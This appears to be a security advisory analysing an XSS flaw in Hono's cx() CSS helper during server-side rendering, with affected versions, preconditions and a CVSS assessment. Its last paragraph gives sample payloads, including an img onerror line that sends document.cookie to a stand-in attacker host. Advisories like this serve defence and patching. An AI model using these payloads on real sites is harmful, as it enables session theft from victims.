Hono CVE-2026-59895

Exploitation requires three concurrent conditions: (1) the application runs Hono version 4.0.0 through 4.12.26; (2) the application uses the cx() function from hono/css within a JSX class attribute during server-side rendering; and (3) at least one argument to cx() is derived from untrusted, attacker-influenced input (e.g., query parameters, user-supplied data, database values not separately sanitized). Exploitation is further limited by the need for user interaction - a victim must load the affected SSR-rendered page (UI:R). Client-side-only Hono deployments that do not perform SSR are not affected. Applications on affected versions that never pass untrusted data to cx() are not exploitable. Authentication is not required of the attacker (PR:N); the attacker need only be able to influence an input that flows into cx().

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N scoring 6.1 (Medium) is well-calibrated for this vulnerability. The Scope:Changed metric correctly captures that the flaw originates in the server-side rendering pipeline but manifests as impact in the victim's browser context. Low Attack Complexity reflects that standard HTML attribute injection techniques apply once the attacker can influence cx() input. PR:N is justified because the attacker need only supply a crafted input value - no account or privilege is required on the server. The User Interaction requirement (UI:R) is the principal risk reducer: a victim must load the affected page. No EPSS data was provided in the input; no CISA KEV listing exists, and no public POC has been confirmed, suggesting this is not currently under active exploitation. Real-world risk is moderate and context-dependent: applications that never pass untrusted input to cx() are not exploitable even on affected versions, but those that do - for example, reflecting URL parameters or user profile data into class names - face a realistic stored or reflected XSS exposure. Confidentiality and Integrity impacts are Low (session cookie theft, page defacement, phishing injection), and there is no Availability impact.

An attacker targets a Hono SSR application that reflects a user-controlled value - such as a URL query parameter or stored user preference - into a JSX class attribute via cx(). By supplying a crafted value such as legit-class" onmouseover="alert(document.cookie) or x"><img src=x onerror=fetch('https://attacker.example/'+document.cookie)>, the attacker causes the SSR output to include unescaped HTML, injecting a malicious event handler or script tag. When a victim loads the affected page, the injected code executes in their browser, enabling session hijacking or phishing. No confirmed public POC exists, but the attack pattern follows well-understood HTML attribute injection techniques.